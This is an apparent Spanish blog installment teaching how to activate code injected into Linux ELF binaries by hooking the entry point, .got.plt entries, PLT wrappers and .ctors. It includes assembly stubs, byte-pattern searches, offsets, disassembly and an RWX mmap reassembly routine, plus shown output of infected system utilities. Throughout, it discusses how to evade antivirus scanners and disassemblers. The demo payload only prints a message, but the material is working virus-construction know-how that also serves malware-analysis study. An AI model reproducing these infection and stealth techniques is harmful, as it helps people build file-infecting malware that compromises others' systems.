Alive! It's alive! It's alive!
Además del mensaje que vemos cuando ejecutamos mplayer:
Podemos detectar los rastros de la infección buscando páginas de lectura / escritura / ejecución. Mientras que un mplayer normal sólo tiene un par de ellas:
Un mplayer infectado exhibe una más:
Profesor Frankenstein
En las entregas anteriores hemos visto cómo escribir código inyectable y cómo inyectar nuestro código en otros binarios sirviéndonos de diversos trucos. La siguiente fase lógica -la activación- ya no consistirá sólo en saltar a nuestra rutina inyectada, si no también el devolverle el control al código original y no levantar sospechas.
La idea general será la siguiente: debemos encontrar algún puntero al que el ELF intente saltar en todo su tiempo de ejecución, ejecutar el código inyectado y devolver el control al puntero original. Esto se conoce popularmente como hooking: reemplazamos la dirección a la que cierto programa debe saltar en cierto momento para ejecutar nuestro código, y devolver el control a la dirección original a la que se quería llamar.
Cuando los sistemas operativos eran más burdos y no había APIs específicas para registrar más de un manejador para determinado evento del sistema, lo que las aplicaciones -normalmente controladores de dispositivo- hacían era guardar la dirección del manejador original, sustituir la dirección por la de un manejador propio y saltar después a la dirección guardada. Así se podían tener dos manejadores para la misma interrupción aunque el sistema no soportase nativamente una característica así. Un ejercicio muy clásico de Sistemas Operativos años antes era engancharse a la interrupción del teclado para hacer que a cada pulsación la CPU emitiese un pitido, muy vintage todo.
Obviamente, surgen algunas complicaciones. Por ejemplo, el código que estaba antes espera encontrar en la pila ciertas cosas (esto implica que tanto a la entrada como a la salida del código enganchado, el %esp debe permanecer inalterado, aunque entre tanto hagamos virguerías con él). Con los registros pasa lo mismo, por regla general debemos dejarlos como estaban (a menos que queramos hacer explícitamente algún cambio en el comportamiento del código que viene después). Son problemas atajables, pero que hay que tener en cuenta.
¿Quién soy? ¿Dónde estoy?
Una vez infectado el binario y para saber a dónde saltar llega la hora de calcular dónde se copiará toda nuestra carga útil. Hemos visto varios tipos de técnicas, cada cual con sus peculiaridades. Pero a efectos de cálculo de la dirección de carga de todo el tocho inyectado de bytes, realmente sólo hay dos grandes subgrupos:
- Las que se cargan gracias a una nueva cabecera de programa.
- Las que se cargan desde "la brecha", los bytes libres que había antes del segmento de texto.
Las que se cargan en una nueva cabecera de programa son las más sencillonas. La dirección del primer byte del código se puede calcular como:
void *injected_code_start = (void *) replaced_phdr->p_vaddr;
Donde replaced_phdr es la cabecera de programa que hemos reemplazado (o hemos añadido). Así de simple, si hemos decidido nosotros dónde se va a cargar creando una nueva cabecera, cae de cajón que sabremos dónde nos cargaremos.
Sin embargo, las que se cargan en la brecha experimentan una mayor variabilidad debido a la propia variabilidad del tamaño del código del ejecutable de cada binario. Nuestro código se carga al final del segmento ejecutable y por tanto la dirección a partir de la cual empieza el código será:
void *injected_code_start = (void *) old_code_phdr->p_vaddr + ALIGN (old_code_phdr->p_filesz, 4);
Donde old_code_phdr es la cabecera del segmento de código (antes de modificar, ojo), y ALIGN no es más que una macro que podemos encontrar en las pruebas de concepto anteriores, que alinea un entero hasta hacerlo divisible por lo que le pidamos (por 4).
Mediante esta técnica podemos calcular la dirección de carga, pero echándole un vistazo a los códigos anteriores podemos ver que el punto de entrada (el _start) empieza siempre mucho más abajo. Hay dos formas de arreglar esto:
- Calcular la dirección del _start a partir de su desplazamiento relativo al inicio del fichero, cosa que NO recomiendo por limitaciones como la de la prohibición del acceso a la .got y aritmética de punteros fea y bastante liosa o
- Meter justo después de .code_bottom y todos los enteros una rutina en ensamblador que salte (llame) a _start (excepto si hacemos inyección segmentada), y que incluso salve todos los registros para mayor seguridad. La dirección de inicio no es más que injected_code_start más unos pocos bytes fijos que podemos calcular en función de la técnica que usemos.
Yo me inclino por la segunda opción, en la cual la copia y restauración de registros se puede hacer de una forma realmente simple. Tendríamos que modificar en nuestro código al principio de la siguiente forma:
asm (".section .code_bottom, \"xa\""); asm (".long " STRINGIFY (BOTTOM_MARKER)); asm ("pusha"); /* Salvamos registros */ asm ("pushf"); /* Y el EFLAGS */ asm ("call _start"); asm ("popf"); /* Recuperamos EFLAGS */ asm ("popa"); /* Y todos los registros */
O si estamos en infección segmentada:
asm (".section .code_bottom, \"xa\""); asm (".long " STRINGIFY (BOTTOM_MARKER)); asm (".long 0"); /* Reservamos espacio para guardar el tamaño de la zona contigua */ asm (".long 0"); /* Puntero al primer trozo */ asm ("pusha"); /* Salvamos registros */ asm ("pushf"); /* Y el EFLAGS */ asm ("call _start"); asm ("popf"); /* Recuperamos EFLAGS */ asm ("popa"); /* Y todos los registros */
Y para cercionarnos de que no hay referencias a la .got, echamos un vistazo a lo que hemos compilado con objdump -sdx:
Disassembly of section .code_bottom: 080480d8 <.code_bottom>: 80480d8: 4b dec %ebx 80480d9: 50 push %eax 80480da: 41 inc %ecx 80480db: 58 pop %eax 80480dc: 60 pusha 80480dd: 9c pushf 80480de: e8 4f 05 00 00 call 8048632 <_start> 80480e3: 9d popf 80480e4: 61 popa
Este call es relativo al %eip, o sea que de momento, sin problemas. Además, en este caso ya podemos saber el desplazamiento relativo al inicio del código donde empieza nuestra rutina de salto: 0x80480dc - 0x80480d8: 4 bytes. Por tanto, el punto al que debemos saltar es a injected_code_start + 4. Mientras no cambiemos nada ahí arriba, podremos tocar todas las funciones que vengan después a placer, ese desplazamiento se va a mantener.
Puntos de enganche
En este documento analizaré cuatro técnicas de activación distintas:
- Enganchándonos al punto de entrada del ejecutable.
- Enganchándonos a punteros en la .got (realmente, .got.plt)
- Sobreescribiendo la .plt
- Enganchándonos a punteros de .ctors
La tercera técnica no se puede llamar "hooking" per se, ya que estamos tocando código en vez de un puntero. Pero también es una forma válida de activación.
Estas vías de activción son válidas para todas las técnicas vistas antes, y presentaré las pruebas de concepto modificando las de la entrega anterior. A la infección segmentada le dejaré todo un punto aparte, ya que la rutina de reensamblado requiere una aproximación un poco más retorcida.
La forma tradicional: enganchándonos al EP (el punto de entrada)
Esta es la forma más simple de activación que se me ocurre. Hacemos una copia de la dirección del punto de entrada (encontrada en el campo e_entry de la cabecera ELF), la sustituimos por injected_code_start + 4 y escribimos la dirección vieja en cierto lugar del código inyectado de forma que pueda ser recuperado.
Pros: tremendamente sencilla y siempre va a funcionar. Contras: es muy fácil de detectar. Si un antivirus debe detectar si un binario ha sido infectado, lo primero que va a vigilar va a ser el punto de entrada. Tirando del hilo se deshace el ovillo.
Con la intención de guardar la dirección original, podríamos reservar unos enteros al principio del binario como hace la infección segmentada, pero a mí se me ocurre una forma mucho más escueta. En el código que hemos escrito justo después del marcador del principio podríamos añadir unas instrucciones del tipo:
push $<dirección vieja>... salvar registros, salto a _start ...ret
O sea, push mete en la pila la dirección vieja y el ret la saca para acto seguido saltar allí.
Esto me da algunas ventajas. La primera, es más simple que leer desde una dirección un entero que tiene la dirección de salto, y todo el roll. La segunda, que no tengo que añadir nuevos enteros después del marcador para almacenar una dirección ya que es el propio código ejecutable, y por tanto la dirección de inicio se mantiene (injected_code_start + 4).
Aquí vamos a tener que prestar más atención para ver en qué parte se guarda esa dirección vieja. Yo recomiendo poner <dirección vieja> a 0xdddddddd, así podremos ver mejor en qué parte se guarda una vez lo desensamblemos. ¿Por qué 0xdddddddd y no por ejemplo 0xffffffff o directamente un 0? Pues esto es un problema de optimizaciones del ensamblador de GNU. Meter 0xffffffff en la pila se puede hacer mediante una instrucción que dice algo como "realizar una extensión de signo sobre 0xff y meter en la pila", realmente culpa de todos los 0xffffffXX que tiene antes. Y esto mismo es aplicable con el 0. Necesitamos cuatro bytes que podamos sustituir en el código, o sea que este no nos vale. Además, 0xdddddddd es una dirección que está en el último gigabyte de memoria virtual, zona reservada para el kernel, o sea que es imposible que coincida por casualidad con la auténtica dirección de arranque del binario.
Con esto también tenemos la ventaja de poder saber si estamos ejecutándonos como binario en solitario que como código inyectado. Si <dirección vieja> es distinto a 0xdddddddd, es que ya nos hemos apoderado de un binario ajeno. Incluyendo esta modificación, tenemos lo siguiente:
asm (".section .code_bottom, \"xa\""); asm (".long " STRINGIFY (BOTTOM_MARKER)); asm ("pushl $0xdddddddd"); asm ("pusha"); /* Salvamos registros */ asm ("pushf"); /* Y el EFLAGS */ asm ("call _start"); asm ("popf"); /* Recuperamos EFLAGS */ asm ("popa"); /* Y todos los registros */ asm ("ret");
Que se desensambla como sigue:
Disassembly of section .code_bottom: 080480d8 <.code_bottom>: 80480d8: 4b dec %ebx 80480d9: 50 push %eax 80480da: 41 inc %ecx 80480db: 58 pop %eax 80480dc: 68 dd dd dd dd push $0xdddddddd 80480e1: 60 pusha 80480e2: 9c pushf 80480e3: e8 4e 05 00 00 call 8048636 <_start> 80480e8: 9d popf 80480e9: 61 popa 80480ea: c3 ret
Por lo que vemos que la dirección se guarda en injected_code_start + 4 + 1. El último escollo para la prueba de concepto ha sido solventado.
Adjunto versiones modificadas del código que modifica el PT_NOTE y el que mueve la tabla de cabeceras de programa a la brecha. En este caso, aunque los DEBUG se mantienen, estos sólo se ejecutan cuando están en el binario que estamos compilando (y que por tanto, tiene acceso al segmento de datos), y he metido 0xdddddddd en una macro llamada "NOT_INFECTED_MAGIC". La detección de si estamos o no dentro de un binario infectado se hace comparando este último valor con la dirección del punto de entrada original. No he escrito un payload demasiado grande, con un simple mensajito es suficiente:
Infección de PT_NOTE (mejorada):
Traslación de la tabla de cabeceras de programa (mejorada):
En ambos casos ha habido que modificar _start para incluir las instrucciones que llevan a cabo el hooking, y hubo que modificar las funciones replace_note en el primer caso y move_phdrs en el segundo para que pudiesen devolver la dirección virtual del código -el inject_code_start- que es donde realmente se va a ubicar el código en memoria.
La infección más exitosa (como no) fue la de PT_NOTE, que funcionó en la totalidad de binarios que he probado, mientras que la que se aprovecha de la brecha sólo funcionó en unos pocos casos (mplayer en este caso). Los binarios infectados exhiben un comportamiento similar a este:
% ./ls.infected --version Infected! >:-) ls (GNU coreutils) 7.4 Copyright © 2009 Free Software Foundation, Inc. (...)
% ./uname.infected -a Infected! >:-) Linux alkaline 2.6.32-27-generic #49-Ubuntu SMP Wed Dec 1 23:52:12 UTC 2010 i686 GNU/Linux
% ./vim.infected --version Infected! >:-) VIM - Vi IMproved 7.2 (2008 Aug 9, compiled Apr 16 2010 12:47:47) Parches incluidos: 1-330 Compilado por buildd@ (...)
Lo curioso, aunque esperable por otra parte, es que el código inyectado no es visible desde objdump. Lo que aquí sucede es que objdump sólo va a desensamblar lo que encuentra referenciado por una sección, obviando todo lo demás. De una forma inintencionada, hemos conseguido que el código permanezca invisible a las herramientas usuales. Ejemplos de binarios infectados se pueden descargar aquí.
Un poco más discreto: .got.plt
Para explicar esta forma de enganche, he de hablar primero de cómo se resuelven los símbolos importados de un binario dinámicamente.
Supongamos el siguiente código, que vamos a compilar con gcc sin opciones de ningún tipo, como un programita normal:
#includeint main (void) { puts ("Hola mundo"); return 0; }
Este código muestra por pantalla un escueto "Hola mundo" y un salto de línea. puts es una función que no se encuentra en nuestro código, si no que está definida en la biblioteca estándar de C, o sea que el cargador debe cargar (valga la rebuznancia) la susodicha biblioteca y resolver en tiempo de ejecución la dirección real en la que puts se ha colocado. Vale, pero, ¿y cómo se traduce esa llamada a puts en código máquina? ¿dónde meto esa dirección?
Resulta que gcc, por cada función externa usada, genera una función llamada función@plt (y con "llamada" quiero decir que podemos encontrarla en la tabla de símbolos del ejecutable con ese nombre) la cual es llamada en lugar de la verdadera función. Esta función es realmente un wrapper ubicado en la sección .plt (de Procedure Linkage Table, que a su vez se carga dentro del segmento de código) que hará una de dos cosas:
- Carga de la sección .got.plt la dirección resuelta de la función que envuelve para saltar a ella con un jmp, o bien
- resuelve dicha función en tiempo de ejecución colocando su dirección en la .got.plt, para posteriormente saltar a ella.
La .got.plt se ubica realmente en el segmento de datos. No es más que un array de punteros con por lo menos tantas entradas como funciones importadas tenga el binario, cada función importada tiene una entrada correspondiente en este array. Por defecto, todas las entradas están inicializadas a la dirección de la parte del wrapper correspondiente de la .plt que se encarga de hacer la resolución del símbolo. Este truco nos permite quitar cualquier código de decisión en el wrapper para decidir si debe resolver o no: el wrapper sencillamente carga cierta dirección de la .got.plt y salta a ella. Al principio, esa dirección se corresponde con la instrucción justo después de este salto, que hace la resolución y anota la dirección resuelta en la .got.plt para un futuro uso (y nos ahorramos futuras resoluciones).
Esto se conoce como "lazy resolution" o resolución perezosa, la cual está presente en la mayoría de ejecutables. Los símbolos, en vez de resolverse todos al principio, son resueltos sólo cuando se necesitan. Esto distribuye toda la carga de resolución a lo largo del ciclo de ejecución del programa. Así el programa se inicia antes, lo cual suele ser interesante en la mayoría de los casos.
Voviendo al código de ejemplo, si hacemos objdump -sdx podemos observar que en la sección .plt hay una función llamada puts@plt que implementa el algoritmo comentado antes:
08048318: 8048318: ff 25 08 a0 04 08 jmp *0x804a008 804831e: 68 10 00 00 00 push $0x10 8048323: e9 c0 ff ff ff jmp 80482e8 <_init+0x30>
La dirección apuntada por el primer jmp es la de la entrada en la .got.plt, cuyo contenido podemos ver en el mismo listado:
Contents of section .got.plt: 8049ff4 209f0408 00000000 00000000 fe820408 ............... 804a004 0e830408 1e830408
He marcado en negrita los bytes en la dirección
0x804a008.
Estos bytes representan, en
little endian
, la dirección
0x804831e
, correspondiente a la segunda parte de
puts@plt
. Esta segunda parte hace un
push $0x10
(que viene a meter en la pila algo así como el índice del símbolo importado por el ejecutable) y finalmente el
jmp
a
0x80482e8
, código que se encarga de hacer la resolución del símbolo especificado para después saltar.
Nuestra meta va a ser entonces engancharnos a algún puntero en la .got.plt para ejecutar lo que necesitamos y a volar. La elección del puntero es a gusto del consumidor: en nuestro caso, el puntero que aparece justo antes se corresponde a __libc_start_main (que es la que prepara el entorno y los argumentos para pasárselos al main de C). Los anteriores se corresponden a funciones que ni siquiera son llamadas y los que están a 0 son completados por el cargador en tiempo de ejecución.
Pros de esta técnica: es un poco más rara, y por lo tanto es menos probable que nos encuentren ahí. Para detectar que ese puntero ha sido modificado habría que analizar toda la .plt, seguir todos los punteros del primer jmp y comprobar que su dirección se corresponde con la segunda parte del wrapper. Además, yo no conozco ningún estándar sobre la construcción de .plts, o sea que la creación de una herramienta que detecte esto está bajo riesgo de producir muchos falsos positivos. Además, el payload sólo se ejecutará la primera vez que se ejecute la función, en la siguiente llamada el puntero en la .got.plt se habría sobreescrito con la dirección original de la función resuelta. Contras: más complicada, hay que buscar la .got.plt y sólo funciona con los binarios dinámicos que utilicen lazy resolution (aunque hoy por hoy deben ser la mayoría). Encontrar una buena dirección de enganche no es trivial, y puede que nos enganchemos a una función que nunca se ejecute en todo el ciclo de ejecución del programa.
Un último aspecto curioso, que no supe si calificar como pro o contra, es que es imposible saber a priori cuando se activará nuestro código (si es que realmente se llega a activar). Esto por una parte añade más incertidumbre al programador pero también al que busque el código inyectado porque, sencillamente, no sabe dónde buscar.
Para la prueba de concepto he decidido engancharme al tercer puntero de la .got.plt. Tan sólo porque era el que más se activaba en la práctica, no hay una sesuda razón para ello. En lugar de buscar una sección llamada .got.plt -cosa que no es segura, ya que se podría modificar a mano el nombre de esta sección-, voy a por como realmente lo hace el cargador: leo el segmento dinámico (de tipo PT_DYNAMIC, que es un array de estructuras que apuntan a su vez a otras estructuras necesarias para hacer la carga del binario) y busco en él una entrada de tipo DT_PLTGOT (que identifica dónde se encuentra en memoria la .got.plt). Esa entrada está en forma de dirección virtual (la que tiene una vez cargada en memoria), o sea que busco en todos los PT_LOAD uno que abarque a dicha dirección y lo modifico ahí. Como problema añadido tenemos que en la tabla de segmentos dinámicos no figura el tamaño de la entrada DT_PLTGOT, o sea que cuanto más alto tomemos el puntero, más probabilidades hay de que nos salgamos del array. Aquí asumiremos que todos los binarios tienen un tercer puntero.
Sí, un lío en resumidas cuentas, pero sin dolor no hay gloria :P
Infección de PT_NOTE (enganchándonos a .got.plt):
Traslación de la tabla de cabeceras de programa (enganchándonos a .got.plt):
Se puede obtener un conjunto de binarios infectados para su análisis aquí. Como siempre, la infección más difícil es la de traslación de cabeceras. En ambos casos, es difícil de predecir cuándo se ejecutará el código inyectado. En el caso de gzip, se ejecuta sólo cuando comprime, en otros cuando se muestra la ayuda, otros en mitad de la ejecución del programa...
Más arriesgado: sobreescribiendo la PLT
Como hemos visto en la técnica anterior, la PLT la forman un conjunto de wrappers que envuelven las funciones importadas haciendo la resolución al vuelo. Otra forma de tomar el control podría ser sobreescribiendo estos wrappers introduciendo un salto a nuestro código que, además de hacer todo lo que tenga que hacer, sea capaz de llevar a cabo las acciones que ha sobreescrito.
Esto parece complicado (ya que no estamos chapuceando con estructuras de código estandarizadas, si no que estamos modificando código máquina directamente). Pero en la práctica, estos wrappers siempre tienen la misma forma: jmp a puntero, push y jmp otra vez. Por ejemplo:
08061f50: 8061f50: ff 25 0c 90 12 08 jmp *0x812900c 8061f56: 68 18 00 00 00 push $0x18 8061f5b: e9 b0 ff ff ff jmp 8061f10 <_init+0x34>
Puesto que para hacerlo bien habría que buscar estos wrappers en la tabla de símbolos dinámicos del ejecutable -algo horrible, creedme- lo que haremos aquí será recorrer toda la PLT buscando unas estructuras de bytes concretas. Esto es arriesgado, claro que lo es, y se deberían añadir ciertas heurísticas para asegurar esta búsqueda, pero en estos ejemplos vamos a asumir que trabajamos con "binarios normales". En concreto, buscaremos la siguiente estructura de bytes:
ff 25 XX XX XX XX 68 YY 00 00 00 e9 ZZ ZZ ff ff
Estos bytes se corresponden con la estructura de jmps y push de cada wrapper. En XX XX XX XX estará la dirección del elemento de la .got.plt con la dirección de la función resuelta, en YY estará el índice de símbolo que el wrapper coloca en la pila y en ZZ ZZ habrá un desplazamiento respecto al %eip donde se ubica la rutina de resolución. Los ff y los 00 extra, aunque me reduce significativamente la libertad de búsqueda, me aseguran que no he encontrado por error un conjunto de bytes similar a caballo entre dos funciones.
De todos estos bytes, yo recomiendo sobreescribir XX XX XX XX con la dirección de cierto puntero en nuestro código inyectado apuntando precisamente a la rutina de inicio del mismo. Esto hará que el wrapper salte a nuestro código cada vez que lo llamen (lo que implica introducir alguna forma de detectar dobles ejecuciones para evitar una ralentización) mientras que los cambios son mínimos (el código mantiene la estructura y puede pasar desapercibido si es un humano el encargado de analizarlo). Es más, a diferencia del anterior, este método sí que implica una posición preferencial a sobreescribir en la PLT: si el puntero que metemos en nuestro código para hacer este salto indirecto está alineado a... 16, por ejemplo, buscaremos una entrada en la PLT que lea una entrada alineada a 16 en la .got.plt, de forma que sólo tengamos que modificar los bits más significativos de la dirección de ese salto. El cambio será todavía más sutil a ojos de cualquier persona.
Pros de esta técnica: muy poca gente mira el código. Lo que se suele tocar aquí son los datos, y además en la práctica sólo han cambiado dos bytes en la parte visible del ejecutable (recordemos que algunos desensambladores como el incluido por objdump no muestran código que no esté contenido en ninguna sección). Contras: más complicada de implementar, mayores probabilidades de estropear el binario, tocar el código es algo muy delicado, y aunque nuestras heurísticas son bastante buenas "nunca se sabe". El código además se activará cada vez que la función importada sea llamada, no sólo la primera vez, lo que debería motivarnos a detectar activaciones sucesivas, cosa que en este ejemplo yo no he hecho.
Este método añade además un punto de fallo que el anterior no tenía: debemos buscar una sección de nombre ".plt" con todos los problemas que ello implica. Entre ellos, que como nos cambien el nombre de la sección vamos apañados, y que debería hacerse con mmaps (ya que para encontrar el nombre de una sección debemos acceder a su vez a otra sección donde se encuentra una lista de todas estas, y hacer esto con lseek/read es un infierno).
Intentémoslo de todas formas. Teniendo en cuenta lo anterior, el plan de ataque será:
- Añadir a nuestro código un puntero -al que llamaré puntero local, por ejemplo- que contenga la dirección de inicio de nuestro código, preferiblemente alineado a 32 bits, y un segundo puntero -que podría llamar puntero salvado- donde guardar la dirección original de la entrada de la .got.plt
- Encontrar la PLT y obtener sus límites.
- Buscar una función que salte a una entrada alineada al puntero local del paso 1.
- Guardar la dirección del salto indirecto original en el puntero salvado del paso 1.
- Chafar la dirección (virtual) de salto indirecto por la del puntero local del paso 1.
Debemos incluir en el código inyectado una instrucción que recupere el puntero a la .got.plt salvado para devolver el control a la función que nos llamó. Esto se puede hacer con el truco push/ret que utilizamos antes, la única diferencia es que ahora no tenemos una dirección fija, si no un puntero. Por tanto, push también debe esperar un puntero.
En resumidas cuentas, las modificaciones que debemos hacer al principio serán de esta forma:
asm (".section .code_bottom, \"xa\""); asm (".long " STRINGIFY (BOTTOM_MARKER)); asm (".long 0"); /* Esto es sólo relleno, para forzar un índice de la .got.plt< asm (".long 0"); que nos interese más. */< asm (".long 0xaaaaaaaa"); /* El puntero local al inicio de nuestro código */ asm ("pushl (" STRINGIFY (NOT_INFECTED_MAGIC) ")"); /* Metemos en la pila el puntero salvado. Atención a los paréntesis. */ asm ("pusha"); /* Salvamos registros */ asm ("pushf"); /* Y el EFLAGS */ asm ("call _start"); asm ("popf"); /* Recuperamos EFLAGS */ asm ("popa"); /* Y todos los registros */ asm ("ret"); /* Volvemos a la función que nos llamó */
Debemos también añadir ciertas constantes indicando en qué desplazamientos podemos encontrar estos lugares interesantes, para copiar e iniciar lo que sea. Ahora ya no tenemos "punto de entrada original", si no un puntero indirecto. Entonces definimos:
#define LOCAL_POINTER_OFFSET 12 /* Aquí he de guardar el inicio del código */ #define SAVED_POINTER_OFFSET 18 /* Desplazamiento del puntero salvado */ #define CODE_START_OFFSET 16 /* Desplazamiento del inicio del código */
Nótese que el puntero local está alineado forzosamente a 12, o lo que es lo mismo, 3 DWORDs o 3 direcciones. Así nos escribimos en el mismo desplazamiento que la técnica anterior.
Por último, para organizar esto un poco, he implementado todo este proceso de sobreescritura de la PLT en una función llamada "alter_plt", alejándolo del _start para entenderlo mejor. Esta función se vale de LOCAL_POINTER_OFFSET para encontrar una entrada alineada correctamente y se encarga de hacer todo el trabajo sucio de llamar a las diversas funciones que sacan el nombre, detectan la .plt, etc, etc. La técnica para detectar si está ejecutándose dentro del binario infectado es a grandes rasgos la misma que en el resto de técnicas, toda la complicación se encuentra ahora en el código de sobreescritura.
El código ha crecido mucho, pero ya que en estos tipos de infección donde lo estoy probando (PT_NOTE y traslación) nos copiamos al final, para estos ejemplos el tamaño no nos importa demasiado:
Infección de PT_NOTE (sobreescritura de .plt):
Traslación de la tabla de cabeceras de programa (sobreescritura de .plt):
Algunos binarios infectados para analizar se pueden obtener aquí. Si los desensamblamos, podemos ver que las entradas de la PLT que hacen referencia al elemento 3 de la .got.plt han cambiado sutilmente:
08048fec <mmap@plt>: 8048fec: ff 25 08 b0 05 08 jmp *0x805b008 8048ff2: 68 10 00 00 00 push $0x10 8048ff7: e9 c0 ff ff ff jmp 8048fbcAunque la activación se produce con exactamente la misma probabilidad que con la técnica anterior, los resultados son un poco más llamativos. Esto es debido a que como la PLT no se "corrige" sola como la .got.plt cuando se realizaba la resolución, cada vez que se llama a la función correspondiente -en el caso de este ps infectado, una tal readproc- el código se activará. Dependiendo de la suerte que tengamos, los resultados pueden llegar a convertirse en algo como:08048ffc <readproc@plt>: 8048ffc: ff 25 0c 70 04 08 jmp *0x804700c 8049002: 68 18 00 00 00 push $0x18 8049007: e9 b0 ff ff ff jmp 8048fbc 0804900c <qsort@plt>: 804900c: ff 25 10 b0 05 08 jmp *0x805b010 8049012: 68 20 00 00 00 push $0x20 8049017: e9 a0 ff ff ff jmp 8048fbc
% ./ps.infected YOUR PLT IS MINE NOW, YOU MAD??? YOUR PLT IS MINE NOW, YOU MAD??? (...) YOUR PLT IS MINE NOW, YOU MAD??? PID TTY TIME CMD 2229 pts/3 00:00:00 xshell YOUR PLT IS MINE NOW, YOU MAD??? 2235 pts/3 00:00:02 zsh YOUR PLT IS MINE NOW, YOU MAD??? (...)
De los casos en los que la infección se ha producido satisfactoriamente, esto vendría siendo lo peor que nos puede pasar. Una implementación realista de esta técnica debería ser capaz de detectar varias activaciones sucesivas para no ejecutarse demasiado tiempo y así poder pasar desapercibido.
La sección .ctors, esa gran desconocida
Una de las muchísimas características que suele añadir GCC a los binarios dinámicos es la de definición de constructores y destructores globales, una funcionalidad que debe implementarse para que los programas escritos en lenguajes orientados a objetos como C++ puedan instanciar clases de objetos definidos con alcance global en el código. Aunque no todos los programas están escritos en C++ (menos mal, uf), la mayor parte de ELFs que veremos por ahí sí que tendrán una sección llamada .ctors, que no es más que una lista de punteros a funciones (los constructores de dichos objetos) que serán ejecutadas antes de llamarse al main. Esta lista se recorre hacia atrás, y está delimitada por un 0xffffffff justo al principio de la sección. Una lista con punteros en su interior puede tener perfectamente este aspecto:
Contents of section .ctors: 8063300 ffffffff c0960408 80810408 00000000 ................
En este caso, tendríamos dos constructores, uno en 0x8048180 y otro en 0x80496c0. Como la lista se recorre hacia atrás, se ejecutarían en este mismo orden. El código que recorre esta lista es aportado por el GCC en el momento del montaje del binario (es como si compilásemos con un archivo fuente más) y echando un vistazo al archivo crtstuff.c del código fuente del compilador, definido en la función __do_global_ctors_aux, podemos corroborar este comportamiento:
func_ptr *p; for (p = __CTOR_END__ - 1; *p != (func_ptr) -1; p--) (*p) ();
Donde __CTOR_END__ es un puntero a la última posición de la lista, la cual está siempre rellenada con ceros. El cast (func_ptr) -1 no es más que el 0xffffffff que espera encontrar al principio de la sección.
La idea, como se puede suponer, es engancharnos a alguno de estos punteros. El problema es que la mayoría de los casos vamos a tener que lidiar con algo como esto:
Contents of section .ctors: 8063300 ffffffff 00000000 ........
Es decir, sin punteros. Ante esta situación, tenemos dos opciones: a) nos enganchamos de la misma forma que nos hemos enganchado al EP, sólo en los raros casos en los que haya constructores o b) alargamos la lista chafando el primer 0xffffffff con la dirección de nuestro código, y volvemos a limitar la lista escribiendo 0xffffffff 4 bytes antes del inicio de .ctors, invadiendo la sección anterior.
¿Cuáles son, entonces, los pros de esta técnica? Que es quizá menos evidente, pero no mucho más. El código no se ejecuta debido a un jmp, si no a un call, por lo que la dirección de retorno ya es guardada en la pila por __do_global_ctors_aux. Los contras, sin embargo, son muy numerosos: la sección .ctors se construye sólo para agrupar los punteros de diversos archivos en un mismo sitio y es accedido por el código de crtstuff.c -no es una estructura especial del ELF- por lo que para encontrarla, tenemos que buscar la sección .ctors y los problemas de hacer esto ya han sido enumerados antes. Y la más importante, que estamos restringidos a la dicotomía poco virulento / poco estable.
Con todo, la pruebas de concepto se han comportado bastante bien, y no se ha visto ningún comportamiento extraño por parte de los binarios infectados, lo cual no quiere decir que el método sea en absoluto seguro. La implementación es muy parecida a la anterior salvo pequeñas modificaciones:
Infección de PT_NOTE (ampliación de .ctors):
Traslación de la tabla de cabeceras de programa (ampliación de .ctors):
Se puede descargar una copia de varios binarios infectado para su análisis aquí. En este caso he añadido un binario compilado desde C++ (kfile) como muestra de que funciona correctamente incluso si tocamos una parte tan sensible para los binarios de este lenguaje.
Apéndice: código de reensamblado para infección segmentada
Y por fin, la niña bonita. En la entrega anterior hemos visto la curiosa técnica de la infección segmentada, que como mejora interesante sobre las demás, hace que el ejecutable infectado no crezca en absoluto. El problema de esta es que, a diferencia de las anteriores, el código ha de ser tratado antes de ejecutarse, y eso requiere una pequeña función extra. Esta función extra debe colocarse en la parte contigua del código inyectado, y ha de realizar en orden y de la forma más rápida las siguientes tareas:
- Salvar la dirección de retorno y todos los registros para no dejar huella.
- Reservar por lo menos una página en memoria con permisos de lectura, escritura y ejecución.
- Copiar la parte contigua a dicha zona de memoria.
- Seguir toda la lista de trozos e irla copiando a la zona contigua.
- Llamar al código reensamblado con el desplazamiento adecuado (recordemos los marcadores).
- Restaurar registros y devolver el control.
Hemos de tener mucho cuidado a la hora de escribir esta función: ha de tener el menor tamaño posible, ya que la zona contigua suele ser -cuando la hay- muy pequeña. Si queremos aprovechar al máximo el espacio, no nos queda más remedio que hacerla en ensamblador. Sí, duele, pero intentaremos hacerla poco a poco de forma que no nos perdamos por el camino. Para esta prueba de concepto asumiremos además que estamos enganchándonos al punto de entrada del binario, la forma más sencilla posible, para no añadir complejidad extra al problema.
Nuestro punto de partida será el código que hemos visto en la entrega anterior, cuya principal diferencia con los demás radicaba en la inclusión de dos enteros describiendo el tamaño de la zona contigua y el puntero al primer trozo:
asm (".section .code_bottom, \"xa\""); asm (".long " STRINGIFY (BOTTOM_MARKER)); asm (".long 0"); /* Reservamos espacio para guardar el tamaño de la zona contigua */ asm (".long 0"); /* Puntero al primer trozo */
Comencemos por el punto uno 1. Como en el resto de implementaciones, todo empieza por meter la dirección de retorno y todos los registros, o sea que añadimos esto justo después del trozo de código anterior:
asm ("\n\ frag_entry: \n\ push $" STRINGIFY (NOT_INFECTED_MAGIC) "\n\ pusha \n\ pushf \n\
frag_entry quiere decir "entrada fragmentada", es el punto de entrada de la parte funcional del código fragmentado, capaz de reensamblarse a sí mismo. Ahora tenemos en la pila, de base a cima, el entero NOT_INFECTED_MAGIC, todos los registros de propósito general y EFLAGS. Utilizaremos esta información para devolver el control al programa. Esto es lo mismo que hemos visto cuando nos enganchábamos al punto de entrada (ver arriba).
El punto de 2 es más complicado, ya que es donde empieza realmente el código de reensamblado: tenemos que reservar una página de memoria mediante mmap. El problema es que mmap es grande, y meterla en la zona contigua puede quitarnos un espacio muy importante. Yo he optado por hacer la llamada al sistema directamente, que no es tan grande como la función en sí que la envuelve ya que conozco de antemano todos sus parámetros. La llamada que tenemos que hacer es así:
mmap (nada, 4096, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS, nada, nada);
Realmente, sólo tenemos que dejar bien definidos tres parámetros: el tamaño (4096), los permisos (todas esas macros se evalúan a 7) y el tipo de mapeo (que se evalúa a 0x22). Con este tipo de parámetro reservo una página donde puedo leer, escribir y ejecutar, es privada y además anónima, lo cual equivale a una reserva estándar de memoria.
Estos tres parámetros son pasados a la llamada al sistema por los registros %ecx, %edx y %esi respectivamente. Conociendo el número de llamada que le corresponde a mmap (0xc0), ya podemos hacer la reserva:
reassemble: \n\ cld \n\ mov $4096, %ecx \n\ mov $0x7, %edx \n\ mov $0x22, %esi \n\ mov $0xc0, %eax \n\ int $0x80 \n\
